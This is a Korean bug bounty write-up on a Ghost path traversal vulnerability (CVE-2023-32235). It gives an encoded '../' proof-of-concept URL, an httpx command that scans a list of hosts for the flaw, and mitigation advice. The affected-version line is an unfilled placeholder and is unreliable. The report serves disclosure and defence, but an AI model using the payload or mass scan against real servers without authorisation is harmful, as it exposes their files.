버그 바운티 보고서 - Ghost 경로 탐색 (CVE-2023-32235)

요약

Ghost 애플리케이션은 CVE-2023-32235로 식별된 경로 탐색 취약점에 취약합니다. 이 취약점으로 인해 공격자는 "package.json" 파일 경로를 조작하여 의도된 디렉토리 외부의 민감한 파일에 접근할 수 있습니다.

취약점 세부 정보

CVE ID: CVE-2023-32235
취약점 유형: 경로 탐색
영향 받는 애플리케이션: Ghost
영향 받는 버전: 최신 버전 X.X.X를 포함한 모든 버전
영향: 민감한 파일에 대한 무단 접근, 기밀 정보 노출 가능성

개념 증명 (PoC)

다음 개념 증명(PoC)은 경로 탐색 취약점을 보여줍니다: {{base-uri}}/assets/built%2F..%2F..%2F/package.json

재현 단계

관련 URL이 포함된 대상 목록 "subs.txt"를 준비합니다.
다음 명령어를 실행하여 httpx 도구를 사용해 취약점을 테스트합니다: httpx -l subs.txt -path "/assets/built%2F..%2F..%2F/package.json" -status-code -mc 200
응답을 관찰하여 성공적인 요청이 있는지 확인합니다. 이는 경로 탐색 취약점의 존재를 나타냅니다.

영향

이 취약점이 성공적으로 악용되면 대상 서버의 민감한 파일에 무단 접근할 수 있습니다. 이는 기밀 정보 노출, 사용자 프라이버시 침해, 그리고 영향을 받는 애플리케이션의 보안을 저하시킬 수 있습니다.

권장 사항

이 취약점을 완화하려면 파일 경로를 처리할 때 엄격한 입력 검증을 구현하고 사용자 제공 데이터를 정화하는 것이 좋습니다. 개발자는 파일 경로에 사용자 입력을 직접 허용하지 말고, 허용 가능한 경로를 화이트리스트로 관리하거나 보안 중심 라이브러리를 사용하는 등의 안전한 대안을 사용해야 합니다.

Ghost-Path-Traversal-CVE-2023-32235-

인기